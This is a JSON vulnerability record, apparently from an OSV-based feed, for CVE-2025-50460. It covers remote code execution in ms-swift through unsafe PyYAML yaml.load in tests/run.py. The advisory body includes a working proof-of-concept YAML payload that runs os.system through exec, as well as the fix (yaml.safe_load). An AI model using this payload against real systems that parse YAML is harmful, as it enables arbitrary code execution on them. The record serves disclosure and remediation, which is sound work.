{"id":"CVE-2025-50460","aliases":["GHSA-fm6c-f59h-7mmg","PYSEC-2026-1683"],"title":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","summary":"MS SWIFT Remote Code Execution via unsafe PyYAML deserialization","severity":"critical","cvss":9.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","vendor":"ms-swift","product":"ms-swift","ecosystem":"pip","affected":["ms-swift <= 3.6.3"],"published":"2025-07-31","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-fm6c-f59h-7mmg","references":[{"url":"https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50460"},{"url":"https://github.com/modelscope/ms-swift/pull/5174"},{"url":"https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7"},{"url":"https://github.com/Anchor0221/CVE-2025-50460"},{"url":"https://github.com/advisories/GHSA-6757-jp84-gxfx"},{"url":"https://github.com/modelscope/ms-swift"},{"url":"https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"}],"tags":["osv","pip","exploit-available"],"epss":0.02473,"epssPercentile":0.8382,"ingestedAt":"2026-07-08T18:25:48.938Z","exploits":{"github":1,"githubRepos":["https://github.com/Anchor0221/CVE-2025-50460"],"checkedAt":"2026-09-23T07:13:36.584Z"},"exploitAvailable":true,"slug":"CVE-2025-50460","body":"## Overview\n\n## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML <= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*\n\n## Affected packages\n\n- `ms-swift <= 3.6.3`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"abyssal","depthScore":66,"depthScoreParts":{"impact":53.9,"likelihood":0.5,"exploitation":12,"ransomware":0},"changes":[{"seq":4828,"id":"CVE-2025-50460","ts":1788887209571,"field":"exploit_available","old":"false","new":"true"},{"seq":3711,"id":"CVE-2025-50460","ts":1788886326622,"field":"exploit_available","old":"true","new":"false"},{"seq":2556,"id":"CVE-2025-50460","ts":1788883008170,"field":"exploit_available","old":"false","new":"true"},{"seq":1585,"id":"CVE-2025-50460","ts":1788882408272,"field":"exploit_available","old":"true","new":"false"},{"seq":699,"id":"CVE-2025-50460","ts":1788881845418,"field":"exploit_available","old":"false","new":"true"}]}